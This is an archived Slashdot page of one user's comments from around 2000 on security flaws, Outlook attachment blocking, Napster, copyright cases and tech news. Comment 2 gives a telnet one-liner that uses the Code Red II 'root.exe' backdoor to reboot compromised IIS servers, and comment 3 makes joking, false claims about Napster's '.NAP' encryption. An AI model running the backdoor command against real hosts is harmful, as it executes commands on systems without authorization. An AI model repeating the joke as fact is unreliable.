Slashdot Mirror


User: Xemu

Xemu's activity in the archive.

Stories
0
Comments
232
First seen
Last seen
Profile
(view on slashdot.org)

Comments · 232

  1. On-line demo of Microsoft security on Security Flaws May Be Microsoft's Undoing · · Score: 2, Interesting

    This web page from Fairfield City should be enough to convince you that Microsoft security is good enough for storing credit cards, your e-money, financial records and anything else.

  2. Re:File download script on Code Red II: Shells for the Taking · · Score: 2, Informative
    Also, I was unable to figure out a way to get the machines to reboot or restart IIS


    Rebooting a compromised IIS server is trivial, just add this to your script

    (echo "GET /scripts/root.exe?/c+iisreset+/reboot HTTP/1.0\n\n\n\n" ; sleep 5) | telnet $1 80

    or you could substitute iisreset/reboot with one iisreset/stop and one iisreset/start for less impact on the system.

  3. Re:NAP=MP3 on disguise? on Napster To Abandon MP3 For .NAP · · Score: 5

    What is this .NAP? MP3 with crypto?

    Actually, yes, Napster have licensed Adobe's most advanced encryption technology. A ".NAP" is a .MP3 where the header is digitally signed so that the artist's name can't be obfuscated and the main data stream is encrypted by XORing each byte with the string 'encrypted'. This is believed to be 100% hack-proof.
  4. Open source on Security Flaw with Linux 2.4 Kernel and IPTables · · Score: 2


    Hey guys, this is open source: there was a security issue with 2.4 - it is fixed now.

  5. Re:The "Paying twice" syndrome strikes again. on MP3.com To Restart My.MP3.com · · Score: 1

    "This bullying by the recording industry really has to stop. They get more than enough per CD sold, without having to charge (effectively) multiple times for the same music."


    Just think how many times the Internet Service Providers will get paid for transmitting the same bits over and over again. Those bastards. And how the greedy power companies charges multiple times for using the same electrons. They send the same stuff to you 60 times per second. It's got to stop. The line must be drawn here!

  6. Re:Calculated risk or paranoia? on Bell Labs Researchers Spot Bluetooth Insecurities · · Score: 1
    I wonder when they go opensource and ask Slashdotters for help...

    There is already an opensource Bluetooth driver (for Linux) available over at www.developer.axis.com
  7. Re:Free speech violation, that's what it is. on MAPS RBL Challenged In Court Case · · Score: 1
    If an online 'White Power' organization were to be established, that posted lists of Websites they objected to, for itemized specific reasons, would that be considered legitimate?

    Sure! In fact, the Scientology UFO-cult has done exactly that. They provide a list of sites their members are not supposed to read for religious reasons. If you're curious, the ban list is here.

  8. Re:Breaking Tech patents on CNET Patents Banner Advertising Networks · · Score: 1
    The moral: This patent is so weak I (having watched the trials, but without training) could break it with 90%+ confidence. A real lawyer could do it 98%+

    And the poor 2% who fails would be ruined for life...

    The situation is similar to a robber with a gun pointing it at ten men. The robber will only have time to fire one bullet before being disarmed, but
    who wants to move first and be the one the robber shoots. Better play it safe and give him all your money.

  9. Re:Lots of fun to come. on GNOME 1.2 - What's In It For You? · · Score: 1
    Also, NFS doesn't have a mechanism for saying "show me all your shares". That would be a security problem, like it is on Microsoft LANs.

    Ahem, try
    showmount --exports servername


  10. Well, the guys over at NTbugtraq aren't impressed on Microsoft Develops Security-Path for Outlook · · Score: 5
    Original article



    Date: Mon, 15 May 2000 21:07:41 -0400
    Reply-To: Russ
    Sender: Windows NTBugtraq Mailing List
    From: Russ
    Subject: Outlook Email Security Update
    Comments: To: "NTSecurity (E-mail)"
    Content-Type: text/plain; charset="iso-8859-1"

    Today Microsoft announced the "Outlook Email Security Update", scheduled for
    availability from;

    http://officeupdate.microsoft.com

    on May 22nd, 2000.

    I was briefed on this update last week, and during this discussion I
    presented several recommendations. Microsoft have chosen not to implement
    any of them, despite the nearly 10 days available prior to its availability.
    Presumably they still haven't resolved the issues they have getting content
    onto their update sites in a timely fashion.

    Before I go into what is in this update, there are several critical
    incorrect assertions in it. Quoting from the official press release;

    "Heightened Outlook default security settings increase the default Internet
    security zone setting within Outlook from "trusted" to "restricted." The
    restricted zone disables most automatic scripting and ActiveX=AE Controls
    from opening without the user's permission. Users who prefer less security
    can easily change their Outlook settings to trusted zone."

    I guess the Microsoft Office Product Group has never bothered to read my
    page on how Outlook works and what needs to be done to the Restricted Sites
    Trust Zone for it to be truly safer;

    (http://ntbugtraq.ntadvice.com/outlookviews.asp)

    Of course without the modifications to the default settings of the
    Restricted Sites Trust Zone, Outlook happily runs any Active Scripting, and
    will happily invoke any ActiveX control marked safe for scripting and
    present on your system (ActiveX downloads are disabled.)

    I more than pointed this fact out to the Briefer, one Lisa Gurry from the
    Microsoft Office product group when she presented the functionality to me. I
    told her to either not make the switch to the Restricted Sites Trust Zone,
    or, make the switch and alter the defaults. I explained how just making the
    switch would yield very little benefit while misleading folks into thinking
    they were more secure, especially against scripting worms.

    The fact that ILV was relatively stupid as worms go seems to have been
    missed by many people. A slightly modified version sent as HTML that doesn't
    bother with the address book (who needs it, most people have lots of mail in
    their folders from all sorts of interesting folks to reply to) will likely
    get by these new features since scripting can still be done. The fact that
    "attachments" won't invoke any more isn't likely going "to thwart the spread
    and impact of many computer viruses."

    This presumes, of course, that some 45 million people already realize just
    how stupid they were to click on that attachment in the first place...and
    maybe have told a few friends...;-]

    MS seem incapable of doing what some coder at;

    http://www.slipstick.com/dev/code/zaphtml.htm

    has done with relatively few lines...namely convert inbound HTML-based
    emails to something else (Rich Text) which completely eliminates the
    vulnerabilities of scripting emails.

    Of course they further show their ignorance of the realities of corporate
    email systems by providing this quote;

    "Given the global impact of the I Love You virus and the growing threat of
    malicious hackers, we strongly believe we must take the unprecedented step
    of limiting certain popular functionality in Outlook to provide a
    significant, additional security option for our customers,"

    ...which, of course, has probably triggered thousands of email gateway
    scanners to throw the message back as containing a worm...duh!

    Granted, its unprecedented to remove functionality in favor of
    security...after a product's been released. This usually occurs during
    development...;-]

    Anyway, to the features in this update;

    1. "Email Attachment Security":

    Attachments won't be put through to users email. That's right, they'll go
    into never-never land. I haven't received an answer to my question as to
    just where they will go. I've been told that a user will somehow,
    miraculously know that there was some sort of attachment on a given piece of
    mail but that it's been stripped in the interest of their security...

    We'll have to tune in next week to find out where those objects get tossed
    to. ISPs may end up with thousands of little (or not-so-little) fragments of
    messages left behind by Outlook POP3 users who's mail simply says "Nope, I
    don't want that thanks"...with no ability for the user to delete it cause
    they can't see it...

    A full list of extensions being excluded is below (which will make even more
    dumb email gateways break as they can't figure out whether the presence of
    the text string "vbs" is a script or not)

    2. "Object Model Guard":

    Well, to be more precise is the "Address Book Guard" really. If Outlook
    detects lookups in your address book (that are somehow distinguishable to an
    invocation of the "Find" command", it, um, pops up a dialog. Not sure what
    the dialog says, but presumably it will be sufficiently verbose to explain
    what might be happening. Haven't seen what the dialog box options are, say,
    for someone trying to script a newsletter or a marketing document. Guess
    lots of folks are going to learn how to use distribution lists (making
    scripting worms easier in future as they just look for distribution lists
    instead of lots of addresses.)

    I should say, however, that this was one of the features I was looking for.
    Would have been nice to know how they're doing that, but...

    3. "Heightened Outlook default security settings":

    I covered this. They ignored my advice, don't know how their products work,
    and then told the world they were doing a good thing(tm)...NOT!

    I *have* to believe we'll see different wording in the final web page...I
    don't think they'd continue to lie so blatantly about their product.

    Get the feeling I'm not going to get briefed again in the future...;-]

    Conclusion:

    MS dropped the ball. I told them to make this thing appear as an interim
    step. It's not a patch, its Outlook on Training Wheels. I thought it was
    going to be a complete product (i.e. you download it and that's how that
    version works, get the full version to do more harm to yourself). As such,
    it made a lot of sense to have a version that was severely restricted. Put
    users on that till you're satisfied they aren't going to shoot themselves in
    the foot.

    Nope, they gotta tout it as more than that.

    So, bottom line, unless they change the thing before it gets released next
    week, make sure anyone you suggest it to also gets this URL;

    http://ntbugtraq.ntadvice.com/outlookviews.asp

    and turns off scripting and scripting of activeX components marked safe for
    scripting.

    I'm not even going into the fact that Outlook Express isn't being updated.
    Let's get real Microsoft, its the only email package included in every
    shipping OS you make! Oh, and let's not forget the "It can't be removed on
    Windows 2000!~!@!$!%" Someone on Bugtraq made a funny post about it being a
    virus...come on, we all know it can't replicate itself to another
    machine...that's done automatically at installation of the OS...

    In case you can't tell, I'm not pleased with the press release, or the
    completeness of the update.

    That said, I made another suggestion today that hopefully will get
    implemented. One of the biggest problems that exist with all of this is the
    fact that most people never update their systems with any patches, security
    or otherwise. I've suggested that they put a download counter on the site so
    we'll be able to see just how many people actually get the thing. Doesn't
    say much other than show the realities. MS could put a lot more effort into
    a better update, and it probably still wouldn't be applied by most folks
    (even if they did something so the patch could apply to more of the millions
    of folks the patch isn't intended for, i.e. those that use Outlook Express
    only.)

    For those interested, here's the list of extensions to be blocked by the
    update;

    ADE Microsoft Access Project Extension
    ADP Microsoft Access Project
    ASX Streaming Audio/Video Shortcut
    BAS Visual Basic Class Module
    BAT Batch Files
    CHM Compiled HTML Help File
    CMD Windows NT Command Script
    COM MS-DOS Application
    CPL Control Panel Extension
    CRT Security Certificate
    EXE Application
    HLP Help File
    HTA HTML Applications
    INF Setup Information
    INS Internet Communication Settings
    ISP Internet Communication Settings
    JS Jscript File
    JSE Jscript Encoded Script File
    Ink Shortcut
    MDB Microsoft Access Application
    MDE Microsoft Access MDE Database
    MSC Microsoft Common Console Document
    MSI Windows Installer Package
    MSP Windows Installer Patch
    MST Visual Test Source Files
    PCD Photo CD Image
    PIF Shortcut to MS-DOS Program
    REG Registration Entries
    SCR Screen Saver
    SCT Windows Script Component
    SHS Shell Scrap Object
    URL Internet Shortcut
    VB VBScript File
    VBE VBScript Encoded Script File
    VBS VBScript Script File
    WSC Windows Script Component
    WSF Windows Script File
    WSH Windows Scripting Host Settings File

    Cheers,
    Russ - NTBugtraq Editor
    "dot-age" (as in "we're in the dot-age") = senility (source Webster's)

  11. Re:Probably the wrong person on Arrest In The ILOVEYOU Case · · Score: 2

    Some articles says the women have been in contact with "Michael", the German studying in Australia. So it's three people involved.

  12. This is a lawsuit waiting to happend on "Virtual Motion" for Future Video Games? · · Score: 1

    "Some very impressive shots of childen swaying and falling over !"


    This sounds like family fun. Until you realize what would happend if the kid fell badly and hit the corner of a table with his head. This is a lawsuit waiting to happend!

  13. Re:An important question: on Nvidia Releases Xserver and GLX for GeForce 256 · · Score: 3
    Will that allow me to play Quake3????

    Read the FAQ before asking -- it specifically says playing Quake3 on this preliminary driver is not recommended. XFree 4 will implement the DRI infrastructure needed for good Quake 3 performance. Quote:

    Q. How do I run Quake 3 accelerated? A. Due to the high demands Quake 3 puts on the client/server architecture of this implemetation, running Quake 3 is not recommended. XFree86 4.0 will have a direct rendering architecture needed to use the 3D hardware effectively with Quake 3.
  14. Translation of the Metro article to English on Swedish Court Clears Teen for Linking to MP3s · · Score: 4

    Bork. Bork. Bork.

    Quickie translation of the Metro article:

    THE COURTS OF APPEALS FREED IN CASE AGAINST "MUSIC PIRATE"
    1999-12-27 19:39

    JÖNKÖPING
    Showing the way to pirated music on the Internet is not a crime. It first has to be shown that the music has been published on the Internet without permission.

    This judgment is done by Göta hovrätt (court of appeals), which on Monday freed a 17-year old that had been charged with illegal distribution of music on the Internet.

    The reason that the 17-year old boy from Falköping, Sweden, had links to pirated music on his homepage was that he wanted to impress his friends. It was important to him to get as many visitors as possible. Something he did well, in just a few months time several thousand people visited the homepage.

    -We thought the court of appeals would convict the youth, said a disappointed Lars Gustafsson, president of the record industry federation IFPI, who thinks about appealing again to the Swedish Supreme Court.

    WITHOUT PERMISSION

    - We learn even from sentences like this that goes against us. Next time we will of course show that the person publishing the music on the Internet did so without permission, and then the pirate will be convicted at least for collaboration, says Lars Gustafsson.

    IFPI, the International Federation of the Phonographic Industry, is focused on enforcing the rights that the copyright law gives. The organisation represents more than 50 record companies that together has more than 95 percent of the Swedish music market. In later years, more and more pirated music in so called MP3-files has been distributed electronically on the net.

    - I think the Internet in time will become a superior technical aid to distribute good music legally. But it takes a few years before justice catches up to technology.

    SENTENCED TO PRISON

    Lars Gustafsson says to TT that it during the last few months several judgments have been passed, both in Europe and the USA, where people have been sentenced to prison for distributing music on the Internet.

    In the case at hand the visitors on the homepage got a pointer to different web sites where the sound files were stored. The music files never passed through the 17-year old's computer but was sent directly to the visitor's computer. Thus he did not publish the music in the sense that is meant in the Copyright law, says the Court of appeals.

    On the other hand, says the court, the 17-year old could be forced to pay damages to the music right owners.

    - We don't have any plans on asking for damages. We are not after this boy as a person, but the phenomenon as such, says Lars Gustafsson from IFPI.

    Cecilia Anderson Edwall/TT

  15. Re:Other reasons for not convicting too on Swedish Court Clears Teen for Linking to MP3s · · Score: 2
    Another reason was that the prosecution had only charged him with copyright infringment, not with the other possiblel crime--to assist someone else in copyright infringment. Because he was never prosecuted for that the court did not consider wether he broke that law.


    No, this was only true in the first trial. In the appeal, this second "crime" was included in the charges, but the Court of Appeal freed the teen on all charges. Unanimosly.

    (Read the Dagens Nyheter article for more information.)

  16. Re:Packaging on Samba 2.06 Released · · Score: 2
    ....the initial release of most software is in the form of a tarball. ... My problem is that alot of stuff under RH6 and other distros use RPM, or dpkg, or other such utilities. ... Packaging should not be this difficult.


    It is only difficult for the browsing-impaired unwashed masses. On the Samba website, you have the option of downloading both RedHat and Debian packages for the new samba release.

    They're on the Samba FTP site, too. Gee.

  17. Use the mirrors.... on Samba 2.06 Released · · Score: 5
  18. Re:Day-Trading Yucca? on Quickie Fu · · Score: 1

    Comparing the Yucca palm's 18% to

    Stockholm Exchange VA IT index - up 24,24% last three months
    Stockholm Exchange VA total index - up 14,31% last three months

    (Source: www.dnbors.dn.se)

  19. Re:Day-Trading Yucca? on Quickie Fu · · Score: 2

    The Yucca can't select the stocks for you, and that's an important part of trading. The Yucca only trades in a small number of stocks that the artist selected. So saying that the Yucca has made 18% profit is useless unless you compare it to the average profit you would have made by random trades of the same set of stocks. (I'm not sure what the effect of random trades would be, but my guess would be a "random effect".)

    As an example, say that the Yucca was set to trade Ericsson, Nokia, Effnet, Switchcore, Framfab, Icon medialab and other Swedish IT/telecom stocks. These stocks have probably averaged 80% up the last three months, and they certainly averages more than 20%. That means you actually lost money on the Yucca trading.

    But hey, perhaps I can let my goldfish select stock for me...

  20. How neatly things are tied together on Linkage between Cell-phone Usage and Long Term Memory Loss · · Score: 2

    Just remember: To make up for any damage from cell-phone radiation, just eat more mashed potatoes.

  21. Re:Who cares? on Echelon Confirmed by Australians · · Score: 1

    ...NSA is in fact working for the good of the people of the United States. That is why they are called the National Security Agency. The idea that they are trying to harm us is downright silly.

    You americans so often seem to forget there is a whole world out there. Even if NSA would be working for the "good of the people of the United States", you make a logical error when you conclude that this means NSA is a good thing for all of us. The people of the United states is only a minority of the human population on earth.
    For the rest of us, NSA is just as bad as the KGB, GRU or whatever the appropriate TLA is.

    (And I don't mean to imply that the US system is as bad as communism, just that most nations likes *all* spies to stay away from their secret data.)

  22. Re:hmmm, I dunno on AMD Planning 1GHz CPUs · · Score: 2

    Anyone who has seen recent (1998-1999) Commodore 64 demo will know what I'm saying. You
    wouldn't believe what they do with a 1Mhz processor these days, and its all due to *optimising*...


    The C64 was released back in '84, wasn't it? It only took a few thousand skilled hackers 15 years to get to the point where the code is "optimized".
    And Windows still doesn't run on the thing.

    Well, good luck in convincing anyone that it is wiser to spend 15 real-time years (and countless man-years) developing "optimized" software than to pay a premium for the extra CPU and RAM needed for the bloatware solution it takes 1 real-time year to develop...

    Sometimes brute force is all it takes to be the best.

  23. Re:No change in application functionality on PalmOS 3.3 Released · · Score: 1


    Check out "ReDo" for the repeating task functionality. It's great.

  24. Playboy precedent on "Pez" Forbidden in Meta Tags · · Score: 3

    There is a case Playboy Enterprises, Inc. v. Calvin Designer Label where the court ruled that Calvin could not use Playboy in its metatags. The court's decision suggests that metatags may constitute infringement even though they are invisible to a viewer of the infringing user's web site.

  25. Re:Article about trademarks & the internet on "Pez" Forbidden in Meta Tags · · Score: 2